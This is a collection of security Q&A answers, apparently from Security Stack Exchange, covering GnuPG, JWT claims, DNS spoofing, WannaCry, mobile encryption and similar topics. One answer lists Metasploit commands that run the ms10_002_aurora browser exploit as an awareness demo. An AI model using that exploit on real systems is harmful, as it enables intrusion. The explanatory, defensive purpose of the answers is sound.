Does it matter what version of GnuPG I use to create revocation certificates?

Both versions of GnuPG are compatible in the output they produce: they both implement RFC 4880, OpenPGP. They're even compatible in the keyring and trust database formats they're using.

GnuPG 2.1 supports some additional ciphers and has changes to the keyrings which might prevent using both older versions of GnuPG and GnuPG 2.1 (or in future: newer) at the same time (at least without hassles), but still revocations produced by GnuPG 2.1 are readable with GnuPG 1.4 and 2.0 with issues if the revoked key's cipher is supported by those (which is, as you mostly use it with GnuPG 1.4).

This is the relevant information on compatibility considering revocations, I wrote up a more complete discussion about Are GnuPG 1 and GnuPG 2 compatible with each other? and their differences on Super User.


Is it safe to use virtual mobile numbers for verification

The question is whether its a one time use and forget, or is it kept in their database and used for future verification

If you are certainly sure that it is a one time usage, I don't think there is any problem using a virtual number.

If not, you might end up losing control of the account if you are required for that number (two factor auth for example) or in a very rare case someone else who currently has that virtual number can gain control over your account (more science fiction than reality)


Why is storing usernames in cookies bad?

People who say that are confused. You need to not blindly trust data stored in cookies for important operations, but storing non-confidential (and the username is not confidential) information in a cookie for convenience is fine. Just don't use it for security decisions without validating it first.

So, storing the username in a cookie to say "Welcome Alice, please log in." is fine. But trusting that the user is Alice just because a cookie says that is not. In that case, it would be too easy for Mallory to set their cookie to "Alice" and get access to Alice's account.


My site is asking for authentication username and password

That is not a normal wordpress authentication dialogue, but rather a server-level permission request.  There is probably an issue with folder permissions or a mis-configuration with your cPanel.  Your hosting company can probably clean this issue up for you.

Also, is your domain actually https://hoodtrends.com.ng/ and not https://hoodtrends.com or https://hoodtrends.ng?  Often times people will do things like .com.ng to make a credible looking evil twin site to try to steal credentials.  If hoodtrends.com.ng is not your actual domain, then it is possible that your site was compromised and redirected to an evil twin site so that the hacker could then use your admin credentials to steal data from your actual website.


Can FBI or government agencies get hold of my Google Docs files just by confiscating my laptop?

When you store data on Google Docs, as you may already know, it is not encrypted at all.  I read that everything you upload to Google Docs and similar services are not only yours anymore because you agree Google to own them too. This means, at first glance, Google has already access to your files since Google confesses that by itself:

When you upload, submit, store, send or receive content to or through
our Services, you give Google (and those we work with) a worldwide
license to use, host, store, reproduce, modify, create derivative
works (such as those resulting from translations, adaptations or other
changes we make so that your content works better with our Services),
communicate, publish, publicly perform, publicly display and
distribute such content.

Also, I am not American but from my understanding of the NSL, the FBI can access your data on Google Docs without even warning you.
In your case, I'd rather prefer to encrypt the data before storing it on Google Docs after choosing a strong algorithm and you found a secure way to protect your private key.

Update:
More than 24 hours after the question was asked, a user modified the title of the question giving it an other meaning than the original one:

First time I answered your question, you were online around fourty minutes while my answer was the only one available. You answered only to two comments of @schroeder but nothing else even after you received different answers dealing with different aspects of your question. Even one of your 2 comments was too confusing because you said a thing and its opposite:
if the government agency subpoena Google, then my data wouldn't be safe, am I right? No, I don't worry that the government agency will do that –
You did not react to accept it or comment it to ask something. After few users said that your question's title is not the same as its content, I asked you clarification via a comment I deleted (because it is too chatty already) but you did not react either. Following your silence to different answers and comments and your refusal to clear the ambiguity of your question, I need to update my answer by focusing on an other side you may wanted to ask, for further readers as the posts here are intended to last.
I had to focus on your question's title because good answers to so many questions as yours  already exist here:

Is it possible to recover securely deleted data from a hard drive using forensics?
How to recover securely deleted data
How does forensic software detect deleted files
Is data-remanence a concern in RAM?
How can I reliably erase all information on a hard drive?
Prove that you deleted the file
Ensure data doesn't linger after being deleted
I'm leaving my job and want to erase as many personal details etc. as possible; any tips?
Overwriting hard drive to securely delete a file?
Secure file deletion vs wiping free space

And the list of similar questions with good answers is still so long on this website. This is just a short list I picked myself. And we all know that when you delete a file from Windows' Recycle bin (trash), it becomes invisible to your operating system only because the file allocation table does not point to it anymore, otherwise the file exist somewhere in your hard drives and you can get it back (if the OS did not override it especially if it has been a long age since you deleted it)
There is also a point I want to add to those answers about the possibility to FBI to recover your data. It is the easiest way but the answers I read elsewhere here forget it frequently:

The easiest way for them is to use the Restore System feature of Windows. That way they could, by chance, get back your browsing history, cookies and even your secret files that you uploaded to Google Docs. By chance, I mean all depends -for the files, for instance- on the restore point you set. This is the easiest way.

Also, other answers to your question mentioned that your coockies, browsing history and browser's cache are a way for the FBI to get your data. That is true even in the case you cleared these elements from your browser because all what the FBI needs is to find where your browser stores its cache:
P.S.
If the FBI is interested to check your browsing history (supposed you hid some of your data on your secret Wordpress blog, for example), they can find where you surfed (your blog) by checking your DNS because your computer uses DNS servers to resolve hostnames to IP addresses, such queries are temporarily stored in your DNS cache.  When you clear your browser history, your DNS cache is not touched. You can try this command yourself: ipconfig /displaydns   to display the contents of the DNS resolver cache. Do not forget also that the FBI can check your router logs (even if in most routers this functionality is deactivated by default). This can be useful for them in case you downloaded some data you are not allowed to access, or in case you stored your secret data elsewhere before you upload it to Google Docs, or simply they can find a proof you used Google Docs. One thing to mention also: your browsing history still can be detected in case your ISP, the government, or whoever else decides to cache your list of browsed sites. Finally, some files of your operating system such as  Index.dat (hidden file) contain all of the Web sites that you have ever visited. Every URL and every Web page is listed there.


DNS requests and replies are not HTTP; they are... DNS. See the standard. Most of the time, DNS requests and responses use UDP: the request is a single IP packet, and so is the response.

With UDP, each packet is identified by:

the source IP address
the destination IP address
the source port
the destination port

A DNS request from client C to DNS server S will use C's IP address as source, S's IP address as destination, a random port value p as source port, and 53 as destination port (the standard port value for the DNS server). The DNS response will use C's IP address as destination, S's IP address as source, 53 as source port and p as destination port. The client will accept the response as "correct" because it uses p as destination port, the same p as the one used by the client as source for its request.

An attacker who wish to feed fake DNS information to the client C can know C's IP address and S's IP address, and can make a good guess about the moment the client will send its request. The attacker's goal is to send a fake DNS response, claiming to come from the DNS server S, but containing. Without full eavesdropping access, the attacker cannot know the value of p, because he cannot see packets. However, port numbers are in a limited range (port numbers range from 0 to 65535, but the actual range for randomly allocated numbers is smaller, and depends on the involved operating system). Therefore, the attacker may just send a few thousands of spoofed IP packets, each containing the fake information, for all possible port p values. The client will drop all of them except the one using the correct p value.

The same concept can be extended to communications between DNS servers, because they talk to each other, and cache responses. It is often easier to pull off for the attacker, because he can trigger himself the DNS-to-DNS exchange, allowing a precise timing for his launch of his thousands of spoofed responses. When he succeeds at feeding fake information to a DNS server, then that DNS server is said to be poisoned.

This sort of things is relatively easy even for low-tech attackers who don't have eavesdropping abilities, let alone interception power as would be required for a true MitM between the client and its DNS server, or between DNS servers. The reason which makes it easy is the use of UDP, which implies that the attacker knows everything except the random source port, which lives in a small range. If the two DNS servers talk to each other over TCP, then the attack is more difficult, because injecting fake data in a TCP flow implies guessing the connection sequence numbers, which are randomly chosen in a 32-bit range: the "thousands of packets" have become "billions of packets".


Home environment for MacOS detection tools

A defensive lab is nothing other than an offensive lab with added defensive tools. A good methodology is to have lab systems with these defensive tools, use your offensive tools to attack the lab systems, move laterally etc, and then use the defensive tools to see whether you can detect and/or prevent your attacks. If you scale that approach up to multiple people in the enterprise, you have the essence of purple teaming. In case you run out of ideas, I find the MITRE's ATT&CK framework a very useful source of inspiration, it also includes many macOS TTPs.


Login to social Media using Facebook Connect

I think confirming the "FB account" is enough to authenticate (provided that you verify the source and that SSO is correctly set). You can ask the user if they want to update their email if you detect it was changed. I assume you are using another ID to track your users and the email is just a simple field, right?

I recommend you to hash the FB account as well (don't store it as plain text nor store it in the password field, as it will allowed to login using that account name).

One problem of using SSO with 3rd party services, is that if they have allow the email to be changed without confirmation (due to a security bug), then it can be used to login with any other user who is using also that SSO (assuming they know that specific user's email... which should be hidden to all users).

There are many possible ways to approach your problem. I don't know which will be the best way to implement it... better to do more research and learn how the big guys are doing it.


Clicked link on fake email which appeared to be from friend

A clever attacker can set up a site so that if you click on it even once, within seconds he can take over your computer. Even worse, you might not have to go to his site. If you click a link that leads to his site, he could feasibly "own" your computer. Beware!

Whenever you visit a Web page, lots of invisible activity can happen on your computer. For example, if the Web site welcomes you with your own name, that's because last time you visited, it put a special text file called a cookie on your computer. If a stock ticker scrolls past or sports scores update automatically, the site could be executing a script on your computer. This stuff is normal. But the fact that your computer is willing to receive and execute instructions from a Web site is what hackers exploit.

Not all Web-based attacks are visible to the intended victim. Sophisticated hackers use tricks to hide what they're doing. But such sophisticated attacks are rare. Most Internet users pay no attention to URLs, so the average attacker doesn't use sophisticated attacks, most of the time he does not even know how to exploit your browser, he would need a rare browser 0-day and this type of bug is worth hundreds of thousands of dollars, sometimes millions.

You probably haven't been infected just by clicking on the link.
I would not worry if you did not enter personal data on the phishing site.


How to deny access to my server end points ? (PHP)

First, regarding what you have tried already:

header('Access-Control-Allow-Origin: https://www.example.com');

This will fail for a number of reasons:

This a client-level control that doesn't stop anyone from making requests to your endpoint anyway.  This is, in fact, a flag for CORS in a browser, and isn't actually relevant to your use case.  It would not have any impact at all with your current setup, nor would it even necessarily stop people from accessing your API endpoints even if they were on another domain (CORS is a read restriction, not a write restriction).
As you allude to, even if this worked as intended, it would not actually do what you want, since it would stop people from using your endpoint from within a browser on a different domain, but that would not actually lock it down to your office at all
It also wouldn't work anyway because regardless of what headers you pass back any non-browser client can ignore your headers and just do what they want.  I.e. a browser will listen to CORS restrictions (because that is how browsers work) but I can hit up any endpoint I want with curl, postman, or any other http client and do whatever I want anyway.  It's not just browsers that use the internet, so you can't make any assumptions about who is browsing your site how.

IP Filtering

In a case like this the best bet is to simply filter by ip address, which you mentioned.  Generally offices have static IP addresses or change rarely, so it is actually quite feasible to do.  Presuming the entire office is NATed behind one router/ip address then it is quite simple because you just need the one rule: dump all traffic except port 80 (443?) coming from the office IP.  You probably shouldn't bother doing this with PHP, however, because for PHP to reject the request on the basis of the IP address first requires your server to process the request, launch PHP, and pass it along.  A simple firewall rule is much easier on server resources.  Dynamic office IP addresses are almost unheard of, so unless you know that that is the situation for you, I wouldn't worry about it.


Is a insecure VM in a secure host vulnerable to wannacry?

TL;DR - Treat a VM as if it were a physical machine just like any other.

The presence of security patches on a host will not prevent the client VM from being vulnerable.

WannaCry has 2 infection routes -

  Arrival through social engineering emails designed to trick users to run the malware and activate the worm-spreading functionality with the SMB exploit
  Infection through SMB exploit when an unpatched computer is addressable from other infected machines

  Source: https://blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/

So in other words, the VM is vulnerable IF another machine in your environment gets hit by WannaCry and the VM has any SMB services enabled (and most do even if it's only the "admin" file shares like \\machine\c$).


school google account on my school computer

First of all, Google search terms and history is not public and it is not accessible to everyone or your organization who issues you an email account until you have a policy or agreement. But if you synchronize your searches and bookmarks across your all devices then the school account branch (Which holds and manages passwords) can access it.

Google has some strong policies against this. (Privacy policies)

  If you have a school account like "somename@xyz.school.edu" (just an
  example)

They can read your Inbox/ messages and emails.
They can't watch search history and bookmarks if you are not syncing your data with an account in browser.

That's why I will recommend you to use the personal accounts and minimize the use of school/ organizational emails when not needed.


Isolating traffic between two physical networks on Ubuntu

That has certainly segregated the data and should be reasonably secure as long as nothing creates a route between the networks later on. That is not always easy to control when using a general purpose computer and OS. It would be more secure to implement the network using dedicated hardware designed for the purpose.

As you haven't specified the level of sensitivity nor the reason for wanting segregation between the networks, I don't think it is possible to say more.


Is mgicinjs.info a virus or malware site? How to get rid of it?

I figured it out!

it's not virus

Here is how i resolve it below:

1. open savefrom.net setting.

2. uncheck "Offers4U" feature.

If you are curious, it's because Offers4U from savefrom.net extension

done. i hope it helps. :)


PGP RSA key size - encryption/decryption time

With RSA, encryption is mostly quadratic in the public modulus size, decryption is mostly cubic. This means that doubling the key size (e.g. from 2048 bits to 4096 bits) means four times the cost for encryption, eight times for decryption. (For ludicrously large keys, of more than 20000 bits or so, other algorithms become worthwhile and decryption is no longer cubic, but that does not apply to "normal" RSA implementations.)

However, you are right in that the encryption or decryption is only a one-time operation for a symmetric key. With a basic PC, a rough order of magnitude is that 1024-bit RSA takes about one millisecond for decryption; so 2048-bit RSA will mean 8 milliseconds, and 4096-bit RSA will imply 64 milliseconds or so. As you can see, the figures remain very low, in human terms. The perceived cost of encryption and decryption in PGP depends on the I/O costs more than anything else; when you receive and decrypt a 5 MBytes email, it will take a few seconds to download it, but only a few milliseconds to actually decrypt it (symmetric encryption can easily proceed at 100 MB/s, and the asymmetric decryption is a one-shot operation, as explained).

Longer keys are not necessarily better. We like longer keys because known cracking algorithms take more time when the key is longer. However, there is a point where this argument ceases to be valid: when the key is so long that it cannot be broken with Earth-based technology, then it is "long enough" and making it longer will not bring any significant good. Current RSA-breaking record is for 768 bits, and it is believed that 1024 bits are on the verge of the feasible (but we do not know on which side of the boundary it is). A 2048-bit RSA key is already more than big enough, with a comfortable security margin. The same can be said about 2048-bit ElGamal and DSA keys (which PGP also uses).

On the other hand, longer keys mean longer emails (because a signed email with PGP includes a copy of the key), although this is hardly significant (a few extra hundred bytes per email won't matter much). A more important reason not to use oversized keys is interoperability: some implementations may have internal limits, due to the way they were designed, and a huge key might exceed these limits. Apparently, some versions of GnuPG have trouble with keys of more than 4096 bits. Keys of 2048 and 4096 bits ought to work everywhere.

A more minor reason is that key generation can become prohibitively expensive with larger key sizes -- but you don't do that often, so this is only minor.

To sum up: with PGP, uses keys of 2048 or 4096 bits, and you will be happy. Don't be too worried about that choice; either is fine. Don't go beyond 4096 bits because it will trigger interoperability issues.


Placing authorization data on JWT claims

Great question! I've seen a wide range in the level of complexity of JWT tokens. Let's break your question down. (Wow this post got long. TL;DR at the bottom)

Intent of a JWT

I guess to start with, I'm not entirely sure what the underlying intent of a JWT claim is, which might help point me in the right direction.

To me, the intent of a JWT is to assert that a user has successfully logged in. Conceptually, when looking at a JWT system, I try to split out the following components and think about them separately:

The "identity provider (IdP)": this is the component that handles the login page(s) and issues the JWT once the user has successfully completed whatever login stuff was required of them. We think of this as a kind of authority that is asserting that the user is who they claim to be.
The Relying Party (RP) / Resource Server: this is the component (typically a filter on REST endpoints) that inspects the JWT and decides whether or not to serve the requested resource. This relies on the identity provider to have correctly verified the user's identity.

Validating the IdP's authenticity
In some cases these may really truly be separate components; for example if your app accepts Google or GitHub as an OpenID Connect (OIDC) Identity Provider. Or both "components" may be within your app, automagically provided by Spring Boot.
JWTs will always be cryptographically signed to prevent the user from tampering with them (for example extending the "exp" timestamp, or claiming to be a different user.
The case where your app is both the IdP and the RP, it's common to sign using the HMACSHA256 ("alg": "HS256") crypto algorithm. This is a "symmetric" signature meaning that the signer and the verifier need access to the same private key.
In the case where the IdP and RP are different, you typically see an "asymmetric" or "public key" crypto signature, typically RSA-SHA256 ("alg": "RS256"). This is more complicated and you end up needing to carry more metadata in the JWT to deal with establishing trust between the two components (see below).

Typical JWT claims
Case: self-signed (alg: HS256)
These can be very simple. I've seen some production systems as simple as:
{
  "sub": "1",
  "exp": 1516239022
}

Just a userID and an expiry timestamp. The REST controller can look up the user in the DB to check their access permissions.
If, for performance reasons, you want to avoid that db lookup, then you can put all needed info in the JWT. Typically this would be the user's group, role, or other access control permissions. If the info you're putting in the JWT starts to be sensitive (ie you don't want the end user seeing it) then you might need to move to encrypted JWTs (aka "JWE").
As your system gets more complex, you may find the need to track more metadata. For example if some parts of your app are ok to be accessed with password-auth but some pages need "step-up" with multi-factor, then you need to track in the JWT whether this user logged in with password or MFA. As you add more microservices, you may find that you need to add an "aud" (Audience) claim so that JWTs intended for one part of your app can't be used against a different microservice.
Case: separate IdP and RP (alg: RS256)
Here the JWT payload is going to be a bit more complex. The following things may come up in order to establish trust between the IdP and the RP:

The RP will need to know the RSA public key to use when verifying the JWT signature. Typically this will be part of the IdP "metadata" that is available for download and needs to be added to your app's config data.
"iss" (Issuer) Claim: The IdP will typically include its own name in the JWT so you can check that against your configured IdP metadata.
"aud" (Audience) Claim: Typically the IdP will include the name of the RP in the Audience field so that you know this JWT was intended for your app and the user has not cut&pasted a JWT from another app that happens to use the same IdP. Obviously, the IdP needs to know what your app is expecting in the "aud" claim, so more metadata to exchange.

JTI (JWT ID)
JTI (JWT ID): this gives a unique ID to the JWT token. Some security scanners have started complaining if this is missing. Personally, unless I'm missing something, I don't think this is necessary unless you're trying to enforce that JWTs are one-time-use, or you want a hard logout mechanism where the server tracks "Revoked JTIs", etc.

Wow, this answer got a lot longer that I expected. Hopefully it's helpful!
TL;DR: At a bare minimum a secure JWT system needs:

Crypto keys to sign and verify JWT signatures.
A "sub" claim with a userID that your REST controllers can use to look up a user's permissions.
A validity period to ensure that JWTs are short-lived. You can use either the "exp" (Expiration Time) or "iat" (Issued At) claims depending on whether you want the IdP or the RP to be in control of how long JWTs are good for.

Any other claims will depend on the complexity and needs of your app.


Why are programs written in C and C++ so frequently vulnerable to overflow attacks?

C and C++, contrary to most other languages, traditionally do not check for overflows. If the source code says to put 120 bytes in an 85-byte buffer, the CPU will happily do so. This is related to the fact that while C and C++ have a notion of array, this notion is compile-time only. At execution time, there are only pointers, so there is no runtime method to check for an array access with regards to the conceptual length of that array.

By contrast, most other languages have a notion of array that survives at runtime, so that all array accesses can be systematically checked by the runtime system. This does not eliminate overflows: if the source code asks for something nonsensical as writing 120 bytes in an array of length 85, it still makes no sense. However, this automatically triggers an internal error condition (often an "exception", e.g. an ArrayIndexOutOfBoundException in Java) that interrupts normal execution and does not let the code proceed. This disrupts execution, and often implies a cessation of the complete processing (the thread dies), but it normally prevents exploitation beyond a simple denial-of-service.

Basically, buffer overflow exploits requires the code to make the overflow (reading or writing past the boundaries of the accessed buffer) and to keep on doing things beyond that overflow. Most modern languages, contrary to C and C++ (and a few others such as Forth or Assembly), don't allow the overflow to really occur and instead shoot the offender. From a security point of view this is much better.


Is it safe to enable - Trust Access to the VBA object model - Microsoft Office

If you look at the docs at https://support.office.com/en-us/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6 macros are disabled by default and there are multiple options to enable them.

Users should be encouraged to use the ”principle of least privilege” which in this case means to only enable macros in documents where they trust the author, and were expecting the document, and for the most limited amount of time. So the option on that page ”Enable macros for one time when the Security Warning appears” is best.

Why? You don't want your users to open spam emails that looked important to trick victim into opening the document to have a macro script steal data or install back doors.

From the user perspective is it unsafe to ever enable macros? If write my own macro and run it on a clean laptop then obviously not. If my mom opens a document that runs a macro that was emailed to her by “amazing@online-deals.us” then obviously yes.

It is implicit in the fact it asks you to confirm whether you want to enable scripting that the system requires the user to confirm that they know it is safe to trust the origin and author of the VBA script.

One might be able to argue that the VBA engine makes it too easy to attack people in this way. Historically people have argued that Microsoft products are fundamentally unsafe simply because there were so many exploits and victims. Yet clearly they have invested a lot of effort into trying to make it safer for unknowledgable users by blocking scripting by default. Some users might simply always run all scripts without considering the consequences or checking the origin of the documents they are opening. Yet at least they were given a choice and the defaults were secure.

So why might Microsoft let you enable scripting across the board which is less safe than letting users have to confirm for each document? Why let someone disable security features? Probably for backwards compatibility when the security feature was first introduced. They used to not block macros, blocking them might have caused issues for some customers who know they are always secure (eg no external emails allowed to certain users), so there is a opt-out to disable that security feature, which makes sense for a very small number of customers. You should not encourage users to disable any security features.


Does File-Based Encryption offer comparable security to Full-Disk Encryption on Android?

Full Disk Encryption (FDE) systems (like Truecrypt, BitLocker and FileVault) encrypt disks at the level of disk sectors. This is an all-or-nothing approach, since the encryption drivers won’t necessarily have any idea what files those sectors represent. At the same time, FDE is popular — mainly because it’s extremely easy to implement. While this could be excellent for PCs, for phones another approach may be necessary as I will explain below.

File-based Encryption (FBE) systems (like EncFS and eCryptFS) encrypt individual files. This approach requires changes to the filesystem itself, but has the benefit of allowing fine grained access controls where individual files are encrypted using different keys.

The main problem with  smartphone is that users are never encouraged to shut down their device. In practice this means that — after you enter a password once after boot — normal users spend their whole day storing all their cryptographic keys in RAM. Since phone batteries live for a day or more (a long time compared to laptops) encryption doesn’t really offer much to protect you against an attacker who gets their hands on your phone during this time.

Of course, users do lock their smartphones. In principle, a clever implementation could evict sensitive cryptographic keys from RAM when the device locks, then re-derive them the next time the user logs in. Unfortunately,  Android doesn’t do this — for the very simple reason that Android users want their phones to actually work. Without cryptographic keys in RAM, an FDE system loses access to everything on the storage drive. In practice this turns it into a brick.

For this very excellent reason, once you boot an Android FDE phone it will never evict its cryptographic keys from RAM. And this is clearly not good.

Starting with iOS 4, Apple included a “data protection” feature to encrypt all data stored a device. But unlike Android, Apple doesn’t use the full-disk encryption paradigm. Instead, they employ a file-based encryption approach that individually encrypts each file on the device.

In the Apple system, the contents of each file is encrypted under a unique per-file key (metadata is encrypted separately). The file key is in turn encrypted with one of several “class keys” that are derived from the user password and some hardware secrets embedded in the processor.

In order to secure things regarding keys, some security special measures have been implemented. If the high security protection class is used, files encrypted with this class key can only be accessed when the device is powered up and unlocked. To ensure this, the class key is evicted from RAM a few seconds after the device locks. This is desirable. In the case of medium security option, the encrypted files are protected until the user first logs in (after a reboot), and the key remains in memory. On low security, the files are accessible even when the device has been rebooted, and the user has not yet logged in.

As conclusion, for mobile phones, there is a relatively safe FBE option and it's up to the user to actually use it.

Read a little more about it here.


Website URL to point users to in order to "make a point" about security

If you really want to scare them off without any negative impact, host an IE 6 exploit of Metasploit internally in one of your systems, set the payload to calc which will pop up a calculator when their browsers are exploited and then terminate the session. Tell them if someone can pop up a calculator on their machine without their knowledge, they can probably do a lot of bad things as well.

Here are the steps:

msf > use exploit/windows/browser/ms10_002_aurora
msf > set SRVHOST 0.0.0.0
msf > set SRVPORT 80
msf > set URIPATH /
msf > set payload windows/exec
msf > set CMD=calc.exe
msf > exploit


I am not a lawyer, but I would be very careful about cloning as there are some major issues you should think about:

Does the client own every part of the website?
Does the client own all copyright on documents and logos on the website?
Has the hosting company agreed to this work?
Does the client's contract with their host/ISP allow for this usage?

Also, if you place your cloned site on the Internet you may fall foul of various laws on misrepresentation, and as you can't limit who may try to access the site, you should be aware of international laws in this area.

What is it you are trying to do that requires a clone of the site? In many years of managing social engineering engagements I have never needed to use this technique as there should be easier ways to get access or information.


Subdomain takeover due to improper records

Snapchat had this Fastly instance set up, but eventually cancelled their service. However, they had forgotten to remove the DNS record, which allowed this researcher to simply to register a new Fastly instance with this name.

It's obviously not vulnerable anymore because they either removed the DNS record or just registered their Fastly instance again.

Domain 'sc-cdn.net' is already taken by another customer.

This means you obviously can't register it / take it over.


SSL ciphers for nginx to support CloudFlare and CloudFront

I don't know about CloudFlare, but Amazon CloudFront's documentation lists the protocols and cipher suites they support. As of right now, that consists of SSL 3.0 and TLS 1.0, and these common cipher suites (and RC4):

ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES128-SHA256
ECDHE-RSA-AES128-SHA
ECDHE-RSA-AES256-GCM-SHA384
ECDHE-RSA-AES256-SHA384
ECDHE-RSA-AES256-SHA
AES128-GCM-SHA256
AES256-GCM-SHA384
AES128-SHA256
AES256-SHA
AES128-SHA
RC4-MD5

I would guess that a similar configuration would also work for CloudFlare.

I second raz's question about what error message you receive.

Update 1:

I have a couple thoughts in response to your "Update 1":

First, I notice that your config sample doesn't include anything about a certificate. Huh?

Second, https://collin-barrett.com/ is behind CloudFlare. Are you having CloudFront connect to CloudFlare, or is CloudFront connecting to your real web server via some other hostname? This raises several potential issues. Among others I've probably missed:

Double-check this, but I think CloudFlare Universal SSL may only support ECDSA certificates. CloudFront's client apparently only supports RSA certificates. This would be a problem.
If you do have CloudFront connecting to another vhost, I'd like to see its config.
If it's connecting to that vhost via another non-CloudFlare hostname (backend.collin-barrett.com or somesuch), I could envision mismatches in the hostname configured in your certificate, or your vhost, or CloudFront.
Why use both CloudFlare and CloudFront? CloudFlare is a CDN already. It's redundant.

Now, I have to go. Good luck.


What is the use of disabling detailed exception pages on open-sourced apps?

It can reveal details of the implementation to an attacker that can be used to mount a better attack.  Quoting from the OWASP page on improper error handling:

  Even when error messages don’t provide a lot of detail, inconsistencies in such messages can still reveal important clues on how a site works, and what information is present under the covers. For example, when a user tries to access a file that does not exist, the error message typically indicates, “file not found”. When accessing a file that the user is not authorized for, it indicates, “access denied”. The user is not supposed to know the file even exists, but such inconsistencies will readily reveal the presence or absence of inaccessible files or the site’s directory structure.


Software developers tend to get exposed to just the tip of the iceberg of credentials and authentication because 98% of the application involves the business logic the app involves and only 2% of the application is handling user authentication. Authentication schemes need to be able to thwart attempts of brute force cracking, intercepting the network communications, man in the middle, etc. and many more ways to break into a closed system. In addition to authentication, you also have to ensure that the user session, once authenticated, works across the app and is secure, e.g. session can't be hi-jacked, etc.

All of this is what Apache Shiro is handling for you, and while I don't have hands-on experience using it yet I am unable to find claims of unreliability, bugs, etc. If it were me, I'd focus on figuring out where the unreliability is coming from and resolve that instead of rolling my own. Because even if you do it right and it is "secure" by today's standards, that doesn't mean it will still be considered secure a year, three, or five years down the road. You will always have to remain knowledgeable of developments in the security/cracking space that develop over time which may put your authentication methodology at risk, update, etc.

The documentation set looks pretty good: Apache Shiro Documentation


Protecting payment mobile app against mobile theft

Let us review the basic access control corning stones with their pros and cons relating to your case of device theft:
Something you know
Referring to passwords, passphrases, PIN codes, secret questions.
Pros:
It can be a hard time for the thief to "crack" this factor as is, especially if you enforce a strong policy.
You can mitigate the concern of resetting the password through an email using a challenge (e.g strong secret question, perhaps recent activity based) as a must step for the password reset.
e.g:

Where did you make your recent payment? to whom?

Cons:
This is considered to be the weakest factor among the others I will mention, and indeed in case of theft, it will be easily changed without the abovementioned mechanism.
Something you have
A physical token that your application can scan using RFID, NFC, etc.
Pros:
Provides a higher level of security as long as the token is not near the device itself
Cons:
Pricey, perhaps overkill. User experience might be bad as well.
Something you are
Biometrics; fingerprint, iris scan, voice analysis, behavioral analysis (continuous authentication)
Pros:
Considered to be the strongest factor, industry standard, most of today's devices have this hardware in place for you to utilize.
Cons:
Biometric authentication has its errors; false rejection of the user and acceptance error of an unauthorized entity (e.g: printed picture, looked alike person, etc)
TLDR:
you can enforce a strong secret questionnaire upon sensitive operations (transactions, password reset requests, etc), you can add a physical token or verify the client upon sensitive operations based on biometrics


Protecting LAN from remote controlled VMs

Have you thought about this:

VMacc will be the linux access VM, this one has a public IP I guess? It also has is your VPN access point.
Create a virtual switch in vmware and put all your vulnerable VM's in the same subnet. You can use the let them be on the same subnet your vulnerable VM's will be on.

Now just firewall so that only the openvpn port is open on your Linux machine. People will be able to VPN into your network and access the vulnerable VM's and there is no connection to your normal LAN since they are on their own virtual network.


Detecting IOT Devices on Corporate Network?

You want to look for "things" on your network, from cameras, coffee makers, and pedometers, and you are hoping there is some commonality?

I think you need to take a whitelisting approach and define what is allowed/expected, then investigate/suspect everything that is not that.

Laptops and desktops are more likely to have identifiable MACs, but what commonly makes an "IOT" is a cheap NIC, which means a generic MAC (a.k.a "general purpose" in nmap). But there is a lot on a network that will have cheap NICs, like printers, routers, and other "things" that make your network function.

User agents will only apply to those devices that connect through HTTP in a standard way, but there is no reason an IOT device has to do this. MQTT traffic is one efficient way to communicate data up to a IOT server, and there are multiple custom protocols, too.

It will be a lot easier if you define either what is allowed, or define what specific type of "thing" you want to identify. Your stated goal is to locate an undefined set of "things", and the challenges to do that will be easy to identify.


OWASP has a couple of very interesting resources of this kind:

Hacme Bank: a banking application built with some vulnerabilities for you to find and try to exploit
The WebGoat Project: web application with several vulnerabilities. Every possible attack is explained in a specific lesson, so that you can concentrate on one technique at the time


A backdoor could possibly exist, an easy way to achieve this would be to encrypt the passphrase with a public key and store it somewhere with the data portion on the hard disk, so the passphrase could be recovered with the matching private key.

However, TrueCrypt is open source can be peer reviewed:

From the TrueCrypt FAQ

  I forgot my password – is there any way ('backdoor') to recover the files from my TrueCrypt volume?

  We have not implemented any 'backdoor' in TrueCrypt (and will never
  implement any even if asked to do so by a government agency), because
  it would defeat the purpose of the software. TrueCrypt does not allow
  decryption of data without knowing the correct password or key. We
  cannot recover your data because we do not know and cannot determine
  the password you chose or the key you generated using TrueCrypt. The
  only way to recover your files is to try to "crack" the password or
  the key, but it could take thousands or millions of years (depending
  on the length and quality of the password or keyfiles, on the
  software/hardware performance, algorithms, and other factors). If you
  find this hard to believe, consider the fact that even the FBI was not
  able to decrypt a TrueCrypt volume after a year of trying.

And this:

  Why is TrueCrypt open-source? What are the advantages?

  As the source code for TrueCrypt is publicly available, independent
  researchers can verify that the source code does not contain any
  security flaw or secret 'backdoor'. If the source code were not
  available, reviewers would need to reverse-engineer the executable
  files. However, analyzing and understanding such reverse-engineered
  code is so difficult that it is practically impossible to do
  (especially when the code is as large as the TrueCrypt code).

  Remark: A similar problem also affects cryptographic hardware (for
  example, a self-encrypting storage device). It is very difficult to
  reverse-engineer it to verify that it does not contain any security
  flaw or secret 'backdoor'.

I've also found an interesting discussion on TrueCrypt being just a big Honeypot: https://groups.google.com/d/topic/alt.computer.security/LlbvEfGlnwE/discussion


Diffie-Hellman (DH) is a key agreement algorithm, used to establish shared symmetric key material.

It is sometimes called the "Diffie-Hellman protocol" but that's a bit misleading. For DH certain steps need to be taken in order using specific data elements such as public keys. The DH protocol however doesn't specify exactly when those steps need to be taken nor the bitwise representation of those steps. Even worse, there are different ways of performing DH as well. To get just an idea you could take a look at NIST SP 56 revision 3 schemes.

INTERLUDE: If you read this document you can see that it is actually possible to authenticate using DH itself. For that a trusted public key needs to be available at the side doing the authentication. That means using a static key pair for the entity that is to be authenticated. Generally this could be done using a DH (or ECDH) certificate. Those are however hardly found in real life; most certificates rely on digital signatures rather than DH key establishment.

If and how an entity is trusted relies on the higher level protocol, e.g. a transport protocol such as TLS. In the latest TLS version 1.3 so called ephemeral-ephemeral Diffie-Hellman key agreement is required to be used. In that case the key agreement is separated from the authentication part: the DH parameters are just simply included in the final authentication but the agreement itself does not play a part in it.

This also means that the presence of a trusted CA certificate can only be detected by looking at the X.509v3 based authentication phase that happens after DH key establishment. That is: if DH takes place at all, of course. You would expect it for e.g. server authentication but other authentication methods may be deployed as well.

Short answer after the long explanation: yeah, you need to specify it together with the rest of the higher level protocol you try to implement.


RaspberryPi3 wont show fake AP created by Airbase-ng

